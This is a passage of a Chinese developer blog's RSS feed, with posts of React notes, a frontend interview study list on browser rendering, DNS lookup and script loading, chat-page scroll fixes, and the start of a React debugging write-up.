</span></span><span class="line"><span class="cl">  <span class="nx">localStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="s1">&#39;name&#39;</span><span class="p">,</span> <span class="s1">&#39;John&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">getData</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">name</span> <span class="o">=</span> <span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="s1">&#39;name&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;{</span><span class="nx">name</span><span class="p">}&lt;/</span><span class="nt">div</span><span class="p">&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<hr>
<h2 id="react-router">React Router</h2>
<ul>
<li>state
<ul>
<li>An object to store on location state. This is useful for state that doesn’t need to be in the URL but is associated with a route transition. Think of it like “post” data on a server.</li>
<li>可以用来实现: 用户被踢出后再登陆注册能返回被踢出时的页面</li>
</ul>
</li>
<li>replace的作用:
<blockquote>
<p>An example is when the user clicks a “purchase” button but needs to log in first, after they log in, you can replace the login screen with the checkout screen you wanted them to be at. Then when they click the back button they won’t see the login page again.</p>
<p>navigate(&quot;/some/where&quot;, { replace: true })</p>
</blockquote>
</li>
</ul>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://reach.tech/router/api/navigate"  target="_blank" rel="noopener" >Reach Router - navigate(to, { state={}, replace=false })</a></li>
</ul>
<hr>
<h2 id="react-fiber">React Fiber</h2>
<h3 id="概念">概念</h3>
<ul>
<li>React 通过 Fiber 树对任务进行切片（time-slicing），分成多个小块任务，允许在渲染过程中将控制权交还给主线程，以避免阻塞浏览器的渲染和响应用户交互。</li>
</ul>
<h3 id="关键点">关键点：</h3>
<ol>
<li>
<p><strong>任务的可中断性</strong>
在传统的 React 16 之前的版本，渲染过程是同步的，一旦开始渲染，就会一直执行到整个更新完成。如果渲染复杂，用户交互（如点击、滚动）会被阻塞。而 Fiber 通过将渲染任务分解成多个小任务，可以在渲染的过程中暂停、打断和恢复，从而为高优先级任务（如用户输入）让路。</p>
</li>
<li>
<p><strong>优先级机制</strong>
React Fiber 引入了优先级调度，不同的更新任务可以根据优先级被安排执行。高优先级的任务会优先被调度执行，而低优先级任务会被延迟处理。这种机制大大提升了应用的响应性，避免了长时间的卡顿。</p>
</li>
<li>
<p><strong>双缓冲 Fiber 树</strong>
Fiber 使用两棵树来管理渲染过程：</p>
<ul>
<li><strong>Current Fiber Tree</strong>：当前已渲染的树。</li>
<li><strong>Work In Progress Fiber Tree</strong>：正在构建的树。</li>
</ul>
<p>React 在更新过程中会基于当前的 Fiber 树构建一个新的 Fiber 树，这个过程是渐进的，不会阻塞主线程。</p>
</li>
<li>
<p><strong>时间切片（Time Slicing）</strong>
通过时间切片，React Fiber 能够将渲染任务分割成多个小片段，在每个帧之间执行这些片段。每当有更高优先级的任务需要处理时，React Fiber 会暂停当前的渲染任务，执行完高优先级任务后再恢复。</p>
</li>
<li>
<p><strong>可恢复的工作单元</strong>
每个 Fiber 都是一个工作单元，它包含了组件的状态、props 和上下文信息。Fiber 架构允许在工作单元之间中断、恢复以及重新调度渲染。</p>
</li>
<li>
<p><strong>并发模式（Concurrent Mode）</strong>
React Fiber 是并发模式的基础，它能够在未来支持并发渲染，让 React 在后台渲染不重要的内容，并优先响应重要的更新。这一特性会进一步提升用户体验，尤其是在交互密集的应用中。</p>
</li>
</ol>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://www.velotio.com/engineering-blog/react-fiber-algorithm"  target="_blank" rel="noopener" >An Introduction to React Fiber - The Algorithm Behind React</a></li>
<li><a href="https://juejin.cn/post/7114132411499151373"  target="_blank" rel="noopener" >通俗易懂地理解React Fiber - 掘金</a></li>
</ul>
<hr>
<h2 id="错误捕获">错误捕获</h2>
<p>wip</p>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://zh-hans.react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary"  target="_blank" rel="noopener" >使用错误边界捕获渲染错误  – React 中文文档</a></li>
<li><a href="https://github.com/bvaughn/react-error-boundary"  target="_blank" rel="noopener" >bvaughn/react-error-boundary: Simple reusable React error boundary component</a></li>
</ul>
<hr>
<h2 id="优先级管理">优先级管理</h2>
<p>wip</p>
<h3 id="参考-5">参考</h3>
<ul>
<li><a href="https://7km.top/main/priority"  target="_blank" rel="noopener" >优先级管理</a></li>
</ul>
<hr>
<h2 id="参考-6">参考</h2>
<ul>
<li><a href="https://github.com/sudheerj/reactjs-interview-questions"  target="_blank" rel="noopener" >sudheerj/reactjs-interview-questions: List of top 500 ReactJS Interview Questions &amp; Answers&hellip;.Coding exercise questions are coming soon!!</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>前端知识点整理</title>
      <link>https://ds63.eu.org/2024/frontend_points/</link>
      <pubDate>Thu, 07 Mar 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/frontend_points/</guid>
      <description>自己学习过程中整理的关于前端的知识点</description>
      <content:encoded><![CDATA[<h2 id="存在问题">存在问题</h2>
<p>当做聊天页时会遇到下拉加载历史记录，当我们获取历史记录并将其放进页面数组时，新获取的历史记录会将你刚刚看的信息挤下去，这时你要往上拉才能回到你刚刚看的信息。
虽然可以通过获取刚看的那条信息的位置，等历史记录拉取下来后再通过改变滚动条回到其原来的位置，但这样会让页面出现闪动，信息会先下去，然后再上来。</p>
<h2 id="intersectionobserver">IntersectionObserver</h2>
<ul>
<li><a href="https://mp.weixin.qq.com/s/vhpXEaumPp5VvR7Zt9jGkQ"  target="_blank" rel="noopener" >不到20行js实现高性能图片懒加载</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver"  target="_blank" rel="noopener" >IntersectionObserver - Web APIs | MDN</a></li>
<li><a href="https://medium.com/strise/making-use-of-observers-in-react-a29b1fd05fa7"  target="_blank" rel="noopener" >Making use of Observers in React. Ever needed to manipulate the DOM when… | by Jens Lind | Strise | Medium</a></li>
<li><a href="https://dev.to/hey_yogini/infinite-scrolling-in-react-with-intersection-observer-22fh"  target="_blank" rel="noopener" >Infinite scrolling in React with intersection observer - DEV Community</a></li>
</ul>
<h2 id="滚动到对应位置">滚动到对应位置</h2>
<ul>
<li><a href="https://react.dev/learn/manipulating-the-dom-with-refs#how-to-manage-a-list-of-refs-using-a-ref-callback"  target="_blank" rel="noopener" >Manipulating the DOM with Refs – React</a></li>
</ul>
<h2 id="overflow-anchor">overflow-anchor</h2>
<ul>
<li><a href="https://juejin.cn/post/7112349799373864996"  target="_blank" rel="noopener" >解决聊天页下拉加载历史记录，新获取的历史记录把刚看的信息挤下去的问题 - 掘金</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/overflow-anchor"  target="_blank" rel="noopener" >overflow-anchor - CSS: Cascading Style Sheets | MDN</a></li>
<li><a href="https://css-tricks.com/almanac/properties/o/overflow-anchor/"  target="_blank" rel="noopener" >Overflow-anchor | CSS-Tricks</a></li>
</ul>
<blockquote>
<p>Scroll Anchoring is a browser feature that attempts to prevent a common situation where you may scroll down a webpage before the DOM has fully loaded and, when it does, any elements that load above your current location push you further down the page.</p>
</blockquote>
<h2 id="反向渲染">反向渲染</h2>
<p><a href="https://www.alloyteam.com/2020/04/14349/comment-page-1/#comments"  target="_blank" rel="noopener" >前端开发中聊天场景的体验优化 | AlloyTeam</a></p>
<h2 id="计算并设置正确的滚动位置">计算并设置正确的滚动位置</h2>
<ul>
<li>
<p><a href="https://cloud.tencent.com/developer/article/2176884"  target="_blank" rel="noopener" >React中将一直增加消息的滚动框保持在当前浏览的位置-腾讯云开发者社区-腾讯云</a></p>
</li>
<li>
<p><a href="https://www.zhangxinxu.com/wordpress/2018/02/container-scroll-position-hold/"  target="_blank" rel="noopener" >小tips: 滚动容器尺寸变化子元素视觉上位置不变JS实现 « 张鑫旭-鑫空间-鑫生活</a></p>
</li>
</ul>
<h2 id="位置不对">位置不对</h2>
<p><a href="https://www.shymean.com/article/%E5%89%8D%E7%AB%AF%E4%BD%93%E9%AA%8C%E4%BC%98%E5%8C%96%E4%B9%8B%E5%9B%BE%E7%89%87%E5%8A%A0%E8%BD%BD%E9%97%AA%E7%83%81"  target="_blank" rel="noopener" >前端体验优化之图片加载闪烁 | ShyMean</a></p>
]]></content:encoded>
    </item>
    
    <item>
      <title>前端知识点整理</title>
      <link>https://ds63.eu.org/2024/frontend_points/</link>
      <pubDate>Thu, 07 Mar 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/frontend_points/</guid>
      <description>自己学习过程中整理的关于前端的知识点</description>
      <content:encoded><![CDATA[<p><strong>本文记录了我学习过程中整理的前端相关的知识点,以摘抄为主，绝大部分非原创。未能全部都标明出处，在此致歉</strong></p>
<h2 id="前言">前言</h2>
<h3 id="为什么选择前端">为什么选择前端</h3>
<p>前端和后端，我选择将前端作为我的主要技术栈。这和我个人的学习习惯有关。</p>
<p>我喜欢学以致用,对于一门尚未掌握的技术，我倾向于先看文档看个百分之二三十,有个大体的了解后，就开始动手去做。但后端的微服务等技术，我缺乏实际的实践环境，没法实践去应用，学起来就感觉很虚。</p>
<p>但前端不太一样。在我自己的项目中，为了实现更快的响应时间、更实用美观的界面，我有充分的动力去学习新的技术，然后将其运用，这形成了一个正反馈的过程。比如说我去年用webassembly写了一个<a href="https://lifegame.ds63.eu.org/"  target="_blank" rel="noopener" >Game of Life</a>，当我对代码进行优化后，我确实能看到帧数肉眼可见地提升了。</p>
<h3 id="为什么要记八股">为什么要记八股</h3>
<p>最近在准备找实习，网上的八股光看也不太能记得住，还得是自己整理记录下。</p>
<p>我之前有点认为记八股是一种应试行为，有点抵触。但有天晚上我排查<a href="https://github.com/EuDs63/postkid"  target="_blank" rel="noopener" >EuDs63/postkid</a>出现的一个问题,为了完全搞懂，我就自发地去搜React的生命周期。</p>
<p>这时候我意识到八股的那些问题，其实不少是蛮常见的问题。要写好代码确实得去知道。</p>
<p>看<a href="https://www.nowcoder.com/discuss/590189774611247104"  target="_blank" rel="noopener" >面试官视角下的技术面——为什么要“背八股”_牛客网</a>。</p>
<p>如果被问八股，要学会自己主动去延伸，进而在一定程度上把握面试的主动权。</p>
<hr>
<h2 id="html">Html</h2>
<h3 id="表单数据校验">表单数据校验</h3>
<p><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Forms/Form_validation"  target="_blank" rel="noopener" >表单数据校验 - 学习 Web 开发 | MDN</a></p>
<h3 id="锚点">锚点</h3>
<ul>
<li>示例</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nx">a</span> <span class="nx">href</span><span class="o">=</span><span class="s2">&#34;#javascript深入之重新认识箭头函数的this&#34;</span> <span class="nx">aria</span><span class="o">-</span><span class="nx">hidden</span><span class="o">=</span><span class="s2">&#34;true&#34;</span> <span class="kr">class</span><span class="o">=</span><span class="s2">&#34;header-anchor&#34;</span><span class="o">&gt;</span><span class="err">#</span><span class="o">&lt;</span><span class="err">/a&gt;</span>
</span></span></code></pre></div><ul>
<li><code>aria-hidden=&quot;true&quot;</code> 属性通常用于指示屏幕阅读器等辅助技术，告知它们该元素对用户来说是不可见的，因此屏幕阅读器会忽略该元素。</li>
<li>参考 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/a"  target="_blank" rel="noopener" ><!-- raw HTML omitted -->：锚元素 - HTML（超文本标记语言） | MDN</a></li>
</ul>
<h3 id="html5新特性">html5新特性</h3>
<p>wip</p>
<h3 id="html5语义化">HTML5语义化</h3>
<ul>
<li>title v.s. h1</li>
<li>strong v.s. b</li>
</ul>
<h3 id="input">input</h3>
<ul>
<li><code>readonly</code>: 只可读，不允许改动，提交时该值可以被传递</li>
<li><code>disable</code>:  不可改动，提交时该值不会被传递</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input"  target="_blank" rel="noopener" ><!-- raw HTML omitted -->: The HTML Input element - HTML: HyperText Markup Language | MDN</a></li>
</ul>
<h3 id="ol">ol</h3>
<ul>
<li><code>start</code>: 计数的起点</li>
<li><code>type</code>: <code>a|A|i|I|1</code>, 默认为1</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ol"  target="_blank" rel="noopener" ><!-- raw HTML omitted -->: The Ordered List element - HTML: HyperText Markup Language | MDN</a></li>
</ul>
<h3 id="img">img</h3>
<ul>
<li>属性:
<ul>
<li>src： 必须</li>
<li>alt</li>
<li><code>referrerpolicy</code></li>
<li><code>crossorigin</code></li>
<li><code>onerror</code></li>
<li><code>loading</code></li>
</ul>
</li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/img"  target="_blank" rel="noopener" ><!-- raw HTML omitted -->：图像嵌入元素 - HTML（超文本标记语言） | MDN</a></li>
</ul>
<hr>
<h2 id="浏览器">浏览器</h2>
<h3 id="浏览器一帧都会干些什么">浏览器一帧都会干些什么？</h3>
<ol>
<li>接受输入事件</li>
<li>执行事件回调</li>
<li>开始一帧</li>
<li>执行 RAF (RequestAnimationFrame)</li>
<li>页面布局，样式计算</li>
<li>绘制渲染</li>
<li>执行 RIC (RequestIdelCallback)</li>
</ol>
<h3 id="浏览器引擎的工作原理">浏览器引擎的工作原理</h3>
<p>wip</p>
<ul>
<li><a href="https://juejin.cn/post/7179130165262286885"  target="_blank" rel="noopener" >一次看懂V8引擎与JIT原理V8 V8 是什么 Google V8 是开源高性能 JavaScript 和 WebAss - 掘金</a></li>
</ul>
<h3 id="浏览器渲染过程">浏览器渲染过程</h3>
<ol>
<li>解析 HTML 和样式计算 (parsing and style calculation)</li>
<li>布局 (Layout)</li>
<li>绘制 (paint)</li>
<li>合成 (compositing)</li>
</ol>
<h3 id="浏览器事件循环">浏览器事件循环</h3>
<p>wip</p>
<h3 id="浏览器的多线程">浏览器的多线程</h3>
<ol>
<li>JavaScript 引擎线程</li>
<li>GUI 渲染线程
<ul>
<li>GUI 渲染线程与 JavaScript 引擎是互斥的</li>
<li>当 JavaScript 引擎执行时 GUI 线程会被挂起，GUI 更新会被保存在一个队列中等到 JavaScript 引擎空闲时立即被执行。</li>
</ul>
</li>
<li>事件触发线程
<ul>
<li>当一个事件被触发时该线程会把事件添加到“任务队列”的队尾，等待 JavaScript 引擎的处理。这些事件可来自 JavaScript 引擎当前执行的代码块如 setTimeout、也可来自浏览器内核的其他线程如鼠标点击、Ajax 异步请求等，但由于 JavaScript 是单线程执行的，所有这些事件都得排队等待 JavaScript 引擎处理。</li>
</ul>
</li>
</ol>
<ul>
<li>参考: <a href="https://github.com/JChehe/blog/blob/master/posts/%E5%85%B3%E4%BA%8EJavaScript%E5%8D%95%E7%BA%BF%E7%A8%8B%E7%9A%84%E4%B8%80%E4%BA%9B%E4%BA%8B.md"  target="_blank" rel="noopener" >blog/posts/关于JavaScript单线程的一些事.md at master · JChehe/blog</a></li>
</ul>
<h3 id="输入url到页面渲染的过程">输入URL到页面渲染的过程</h3>
<ul>
<li>DNS 查询顺序
<ol>
<li>浏览器 DNS 缓存</li>
<li>浏览器调用 getaddrinfo() 查询数据，其中 getaddrinfo() 会根据如下顺序查询
<ol>
<li>先看 /etc/hosts 文件</li>
<li>通过主机名服务/mDNS 查询</li>
<li>通过 systemd-resolved 查询</li>
<li>最后通过 DHCP 下发的 DNS 查询</li>
<li>一级级往上查询直到根 DNS 服务器</li>
</ol>
</li>
</ol>
</li>
<li>CSS加载不阻塞页面解析，但阻塞页面渲染</li>
<li>JS加载阻塞页面解析和渲染</li>
<li>参考
<ul>
<li><a href="https://nova.moe/rethink-type-url-dns/"  target="_blank" rel="noopener" >重新思考浏览器输入了 URL 并按下回车之后到底发生了什么——本地 DNS 部分 | Nova Kwok&rsquo;s Awesome Blog</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/140700610"  target="_blank" rel="noopener" >(1w字)前端都该懂的浏览器工作原理，你懂了吗？ - 知乎</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/133906695"  target="_blank" rel="noopener" >从输入 URL 到页面展示到底发生了什么？ - 知乎</a></li>
<li><a href="https://juejin.cn/post/7011377094156353567"  target="_blank" rel="noopener" >css、js和图片文件加载会阻塞页面解析和渲染吗？同时加载10个js文件需要多长时间？从输入url到页面展示到底发生了什 - 掘金</a></li>
</ul>
</li>
</ul>
<h3 id="script标签中的defer和async的区别">script标签中的defer和async的区别？</h3>
<ul>
<li>defer
<ul>
<li>示例: <code>&lt;script defer src=&quot;https://javascript.info/article/script-async-defer/small.js&quot;&gt;&lt;/script&gt;</code></li>
<li>具有 defer 特性的脚本不会阻塞页面</li>
<li>具有 defer 特性的脚本总是要等到 DOM 解析完毕，但在 DOMContentLoaded 事件之前执行</li>
<li>具有 defer 特性的脚本保持其相对顺序，就像常规脚本一样</li>
<li>仅适用于外部脚本: 如果 <code>&lt;script&gt;</code> 脚本没有 src，则会忽略 defer 特性</li>
</ul>
</li>
<li>async
<ul>
<li>async 特性意味着脚本是完全独立的：
<ol>
<li>浏览器不会因 async 脚本而阻塞（与 defer 类似）。</li>
<li>加载完立即执行：其他脚本不会等待 async 脚本加载完成，同样，async 脚本也不会等待其他脚本。</li>
</ol>
</li>
<li>仅适用于外部脚本: 如果 <code>&lt;script&gt;</code> 脚本没有 src，则会忽略 async 特性</li>
<li>由于其完全独立的特性，所以很适用于独立的第三方脚本</li>
</ul>
</li>
<li>参考：<a href="https://zh.javascript.info/script-async-defer"  target="_blank" rel="noopener" >脚本：async，defer</a></li>
</ul>
<h3 id="兼容">兼容</h3>
<ul>
<li>例:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;paste&#34;</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">event</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="c1">//兼容不同浏览器中获取剪贴板数据的方式
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kd">let</span> <span class="nx">paste</span> <span class="o">=</span> <span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">clipboardData</span> <span class="o">||</span> <span class="nb">window</span><span class="p">.</span><span class="nx">clipboardData</span><span class="p">).</span><span class="nx">getData</span><span class="p">(</span><span class="s2">&#34;text&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">paste</span> <span class="o">=</span> <span class="nx">paste</span><span class="p">.</span><span class="nx">toUpperCase</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">selection</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">getSelection</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">selection</span><span class="p">.</span><span class="nx">rangeCount</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span> <span class="c1">//检查是否存在文本范围
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">selection</span><span class="p">.</span><span class="nx">deleteFromDocument</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="nx">selection</span><span class="p">.</span><span class="nx">getRangeAt</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="nx">insertNode</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">createTextNode</span><span class="p">(</span><span class="nx">paste</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="nx">selection</span><span class="p">.</span><span class="nx">collapseToEnd</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div><h3 id="不同文件在浏览器中的存放形式和加载机制">不同文件在浏览器中的存放形式和加载机制</h3>
<ol>
<li>
<p>HTML 文件</p>
<ul>
<li>
<p><strong>存放形式</strong>：</p>
<ul>
<li>HTML 文件是文本文件，包含网页的结构化内容。浏览器解析 HTML 文件时，会构建一个 DOM 树（Document Object Model），该树表示页面的内容和结构。</li>
</ul>
</li>
<li>
<p><strong>加载机制</strong>：</p>
<ul>
<li>浏览器首先会加载 HTML 文件，并根据它来确定其他资源（如 CSS、JavaScript、图片）的加载顺序。</li>
<li>HTML 文件可以包含 <code>&lt;script&gt;</code> 标签加载 JavaScript 文件和 <code>&lt;link&gt;</code> 标签加载 CSS 文件。这些资源文件可能是同步加载，也可能是异步加载。</li>
</ul>
</li>
</ul>
</li>
<li>
<p>CSS 文件</p>
<ul>
<li>
<p><strong>存放形式</strong>：</p>
<ul>
<li>CSS 文件通常是外部链接的静态文件，包含网页的样式定义。浏览器会根据 CSS 文件构建 CSSOM（CSS Object Model）。</li>
</ul>
</li>
<li>
<p><strong>加载机制</strong>：</p>
<ul>
<li>浏览器在解析 HTML 时遇到 <code>&lt;link&gt;</code> 标签引用的 CSS 文件，会<strong>同步加载</strong>这些文件，CSS 文件的加载会阻塞页面的渲染，直到所有 CSS 被加载和解析完毕。</li>
<li>浏览器结合 DOM 和 CSSOM 构建渲染树，并根据渲染树对页面进行布局和绘制。</li>
</ul>
</li>
</ul>
</li>
<li>
<p>JavaScript 文件</p>
<ul>
<li>
<p><strong>存放形式</strong>：</p>
<ul>
<li>JavaScript 文件是纯文本文件，通常会以外部文件的形式引用。浏览器会在解析过程中执行 JavaScript 代码，这些代码可以操作 DOM 树和 CSSOM 树。</li>
</ul>
</li>
<li>
<p><strong>加载机制</strong>：</p>
<ul>
<li>如果 <code>&lt;script&gt;</code> 标签没有 <code>async</code> 或 <code>defer</code> 属性，JavaScript 文件会被同步加载和执行，阻塞页面的解析和渲染。</li>
<li><code>async</code> 属性允许脚本文件异步加载，不会阻塞 HTML 的解析。</li>
<li><code>defer</code> 属性也允许异步加载，但脚本执行会在 HTML 完全解析后进行。</li>
</ul>
</li>
</ul>
</li>
<li>
<p>图片、字体、音视频文件</p>
<ul>
<li>
<p><strong>存放形式</strong>：</p>
<ul>
<li>这些文件通常是二进制文件，存储的是图像、字体、视频或音频数据。浏览器通过 URL 引用这些资源。</li>
</ul>
</li>
<li>
<p><strong>加载机制</strong>：</p>
<ul>
<li>图片、音视频等文件的加载是异步的，不会阻塞 HTML 或 CSS 的解析。</li>
<li>浏览器会根据资源的大小、网络带宽和页面布局优先级决定资源的加载顺序。</li>
</ul>
</li>
</ul>
</li>
<li>
<p>缓存机制</p>
<ul>
<li>浏览器会将静态资源（如 CSS、JavaScript、图片等）缓存在本地，以加快后续的加载速度。</li>
<li>缓存策略可以通过 HTTP 头信息（如 <code>Cache-Control</code>、<code>ETag</code> 等）进行控制。文件修改时可以通过版本控制（如文件名哈希）来强制浏览器重新加载新版本的文件。</li>
</ul>
</li>
</ol>
<h2 id="测试">测试</h2>
<ul>
<li>参考 <a href="https://x.com/chenenpei/status/1848673102215188690"  target="_blank" rel="noopener" >陈恩培 on X</a></li>
</ul>
<hr>
<h2 id="杂项">杂项</h2>
<h3 id="svg">SVG</h3>
<ul>
<li>全称: Scalable Vector Graphics(可缩放矢量图形)</li>
<li>介于DOM和Canvas之间，既提供了图形的绘制能力，又提供了元素的DOM交互能力</li>
<li>特点
<ul>
<li>SVG不存在回流这种布局问题，最多也就是重绘。但是DOM的动画就可能导致回流。</li>
<li>SVG是矢量图形，而Canvas绘制的是位图</li>
<li>当屏幕尺寸越大时，SVG的渲染速度差异不大，但是Canvas的渲染时长明显增加</li>
<li>当绘制对象过多时，SVG的渲染时长指数增加，Canvas保持稳定增长</li>
<li>Canvas不支持DOM事件</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://padaker.com/blog/post/605daf77cb81362ed96f2fca"  target="_blank" rel="noopener" >重学SVG</a></li>
<li><a href="https://padaker.com/blog/post/62300759cb81362ed96f2ff1"  target="_blank" rel="noopener" >超实用教程 - SVG Icon封装</a></li>
</ul>
</li>
</ul>
<h3 id="babel">Babel</h3>
<ul>
<li><a href="https://babeljs.io/"  target="_blank" rel="noopener" >Babel · Babel</a></li>
</ul>
<h3 id="jwt-json-web-token">JWT (Json Web Token)</h3>
<p>见[进一步学习jwt]</p>
<h3 id="路由">路由</h3>
<ul>
<li><code>pushState</code>
<ul>
<li>在改变url的同时向浏览器历史栈中压入新的历史记录,且不会重新加载页面</li>
<li>接受三个参数：状态对象，新状态的标题和可选的相对URL(不能跨域，即协议，域名，端口必须都是相同的)</li>
</ul>
</li>
<li><code>replaceState</code></li>
<li><code>popState</code>
<ul>
<li>在浏览器提供的history对象上还有go, back方法，用以模拟用户点击浏览器的前进后退按钮。在某个web应用当中，比如点击了<!-- raw HTML omitted -->标签，发生了页面的跳转。这时调用history.back()方法后页面回退，同时页面发生刷新,这时window.onpopstate无法监听这个事件。但是如果是通过pushState或者replaceState来改变URL且不发生浏览器刷新的话，再使用history.back()或history.go(),这样popstate事件会被触发。</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://www.cnblogs.com/xuzhudong/p/8886752.html"  target="_blank" rel="noopener" >前端路由的实现(三) —— History的pushState和replaceState用法 - baoyadong - 博客园</a></li>
</ul>
</li>
</ul>
<h3 id="瀑布流">瀑布流</h3>
<p>如何实现的长列表？
瀑布流 如何实现的长列表？
你是如何判断谁是底部元素的？
如果一次只请求10条数据，前端只展示了5条数据，如何判断底部元素的交叉状态？</p>
<h3 id="git-merge和-git-rebase的区别">git merge和 git rebase的区别</h3>
<h3 id="实现一个dialog模板">实现一个Dialog模板</h3>
<p><a href="https://blog.csdn.net/qq_45856669/article/details/126577449"  target="_blank" rel="noopener" >面试题：React实现一个Dialog模板_react dialog-CSDN博客</a></p>
<h3 id="实现个栈用了好几种方法实现包括最原始的单链表还讲了讲symbol等乱七八糟的东西">实现个栈（用了好几种方法实现，包括最原始的单链表），还讲了讲symbol等乱七八糟的东西</h3>
<h3 id="jsbridge原理">jsBridge原理</h3>
<h3 id="如何把一个对象变成可迭代对象实现symboliteractor属性">如何把一个对象变成可迭代对象（实现[Symbol.iteractor]属性）</h3>
<h3 id="proxy对象能拦截什么">Proxy对象能拦截什么</h3>
<h3 id="jss">jss</h3>
<ul>
<li><a href="https://cssinjs.org/?v=v10.10.1"  target="_blank" rel="noopener" >JSS</a></li>
</ul>
<h3 id="字体反爬">字体反爬</h3>
<ul>
<li><a href="https://www.shymean.com/article/%E5%89%8D%E7%AB%AF%E5%AD%97%E4%BD%93%E5%8F%8D%E7%88%AC%E5%8E%9F%E7%90%86"  target="_blank" rel="noopener" >前端字体反爬原理 | ShyMean</a></li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://smileyqp.github.io/frontend_book/"  target="_blank" rel="noopener" >前端基础知识 · GitBook</a></li>
<li><a href="https://github.com/miracle90/Interview/tree/master"  target="_blank" rel="noopener" >miracle90/Interview: 前端八股文大全！</a></li>
<li><a href="https://vue3js.cn/interview/"  target="_blank" rel="noopener" >web前端面试 - 面试官系列</a></li>
<li><a href="https://bgww.apachecn.org/"  target="_blank" rel="noopener" >【布客】八股文知识库</a></li>
<li><a href="https://yingkaixiang.github.io/blog/"  target="_blank" rel="noopener" >Yingkaixiang&rsquo;s Blog</a></li>
<li><a href="https://zh.javascript.info/"  target="_blank" rel="noopener" >现代 JavaScript 教程</a></li>
<li><a href="https://tsejx.github.io/javascript-guidebook//"  target="_blank" rel="noopener" >JavaScript Guidebook</a></li>
<li><a href="https://github.com/yiliang114/Blog/issues/1"  target="_blank" rel="noopener" >前端校招知识点总结 · Issue #1 · yiliang114/Blog</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>记一次react报错排查</title>
      <link>https://ds63.eu.org/2024/a-react-debug-experience/</link>
      <pubDate>Thu, 07 Mar 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/a-react-debug-experience/</guid>
      <description>Failed to execute &amp;lsquo;removeChild&amp;rsquo; on &amp;lsquo;Node&amp;rsquo;</description>
      <content:encoded><![CDATA[<h2 id="场景">场景</h2>
<p>在<a href="https://github.com/EuDs63/postkid"  target="_blank" rel="noopener" >EuDs63/postkid: A lightweight tool offering key functionalities inspired by Postman.</a>,当我发送一次请求之后，再次发送时报错：</p>
<blockquote>
<p>NotFoundError: Failed to execute &lsquo;removeChild&rsquo; on &lsquo;Node&rsquo;: The node to be removed is not a child of this node.</p>
</blockquote>
<h2 id="排查">排查</h2>
<p>因为上一个版本并没有这个问题，于是我比较了这几次的commit记录，发现问题很可能出现在Prism的高亮，相关代码如下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">response</span> <span class="o">&amp;&amp;</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">Prism</span><span class="p">.</span><span class="nx">highlightAll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
